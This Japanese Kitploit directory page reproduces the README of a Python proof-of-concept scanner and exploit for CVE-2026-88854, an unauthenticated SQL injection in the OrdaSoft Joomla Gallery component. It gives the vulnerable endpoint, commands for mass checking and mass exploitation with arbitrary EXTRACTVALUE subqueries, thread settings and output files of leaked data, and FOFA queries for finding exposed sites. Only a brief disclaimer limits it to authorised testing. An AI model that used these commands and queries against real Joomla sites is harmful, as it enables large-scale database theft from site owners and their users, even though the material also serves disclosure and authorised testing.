Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-88854 — Python 3製のPoCスキャナーおよびエクスプロイト。OrdaSoft Joomla Galleryにおける未認証SQLインジェクションCVE-2026-88854に対応し、一括チェックモードとEXTRACTVALUEデータ読み取りモードを備えています。 | Kitploit
ツール/GitHubGitHub/murrez/cve-2026-88854
偵察脆弱性スキャナー脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubmurrez/cve-2026-88854

CVE-2026-88854

Python 3製のPoCスキャナーおよびエクスプロイト。OrdaSoft Joomla Galleryにおける未認証SQLインジェクションCVE-2026-88854に対応し、一括チェックモードとEXTRACTVALUEデータ読み取りモードを備えています。

リポジトリを見る
3時間前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-88854 — OrdaSoft Joomla Gallery SQLインジェクション

Joomla用 OrdaSoft OS Responsive Image Gallery における CVE-2026-88854 のPython 3 PoCスキャナ/エクスプロイト。

コンポーネントcom_osgallery, com_osgallery_light
影響を受けるバージョン1.0.0 – 6.2.6
修正バージョン6.2.7+
CVSS 4.09.3 (Critical)
認証不要 (公開 mod_osgallery_search)
CWECWE-89

概要

showSearchResult() / showSearchResultAjax() は textsearch / searchText を $input->getVar() 経由で読み取りますが、これは適切なSQLエスケープを適用しません。値は LIKE 句に連結されます。未認証の訪問者が UNION スタイルのインジェクションを使用してデータベースの内容を読み取ることができます。

典型的なリクエストサーフェス:

root@kitploit:~
GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...

レガシーインストールではタスク名 searhResult (タイポ) が使用されている可能性があります。

要件

  • Python 3.9+
  • pip install -r requirements.txt

使用方法

root@kitploit:~
pip install -r requirements.txt

# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet

# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit

python poc.py -u https://target.example --mode exploit \
  --subquery "SELECT DATABASE()"

# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
  --output exploit_results.jsonl --vuln-list exploited.txt

# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl

CLIオプション

出力 (マスチェック)

ファイル内容
cve_2026_88854_results.jsonlターゲットごとのJSON
hits.txt候補URL (exploitable_candidate)

一般的な status 値 (check)

スキャン後の監査 (audit_scan.py)

マス check の後、audit_scan.py を実行して管理者マニフェストを再取得し、ターゲットを分類します:

ギャラリーバージョンは、Joomlaの extension version= 属性ではなく、administrator/components/com_osgallery/osgallery.xml の <version> 要素から読み取られます。

制限事項

  • Exploit モードはMySQLの エラーベース EXTRACTVALUE を使用します; MariaDB/Postgres、エラーの無効化、またはWAFは、CVEが該当する場合でも リークなし となる可能性があります。
  • ブール値の長さの差分のみでは、確認済みのSQLiとして 扱われません (テストではModSecurity 406 が誤検知を引き起こしました)。
  • マニフェストバージョン ≤ 6.2.6 は 露出期間 を示すものであり、すべてのホストで悪用可能なSQLiを保証するものではありません。
  • サブディレクトリのJoomlaインストールでは、正しいベースURL (例: https://host/site) が必要です。

FOFA / 発見のヒント

root@kitploit:~
app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"

リポジトリ構成

root@kitploit:~
.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

ローカルのターゲットリストと実行成果物 (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) は .gitignore に含まれており、コミットすべきではありません。

参考資料

  • NVD — CVE-2026-88854
  • OrdaSoft Joomla Gallery

法的注意

許可されたセキュリティテスト のみを目的としています。適用される法律およびプログラム規則の遵守はあなたの責任です。

ツールをダウンロード
オプション説明
-u, --url単一ターゲットのベースURL (サブディレクトリインストール: パスを含める)
--listターゲットリストファイル (1行に1つのURL)
--modecheck または exploit
--subqueryEXTRACTVALUE 内のSQL (exploitモード、デフォルト SELECT VERSION())
--threads, -jマススキャンの並列度 (デフォルト 20)
--timeoutHTTPタイムアウト秒 (デフォルト 20)
--proxyHTTP(S)プロキシURL
--outputJSONL結果 (デフォルト cve_2026_88854_results.jsonl)
--vuln-listcheck → hits.txt; exploit → exploited.txt
--quiet, -q進捗出力を減らす
ステータス意味
sqli_confirmedエラー/時間ベースのSQLi、または検証済みの EXTRACTVALUE リーク
likely_vulnerable_versionマニフェストバージョン ≤ 6.2.6 + 検索エンドポイント
likely_componentギャラリーを検出、バージョン不明
boolean_inconclusiveレスポンス長の差分のみ (多くの場合WAF); 確認済みとしてカウントされない
patched_versionマニフェストバージョン > 6.2.6
component_no_search_endpointコンポーネントは存在するが、検索タスクに到達できない
no_componentcom_osgallery が検出されない
ファイル内容
hits_version_lte_626.txtマニフェストのギャラリーバージョン ≤ 6.2.6
hits_component_endpoint.txtギャラリー + エンドポイント、バージョンが読み取れない
hits_patched.txtマニフェスト > 6.2.6
fofa_stale.txtコンポーネントなし (古いFOFA行)
cve_2026_88854_audit.jsonl拡充されたJSONL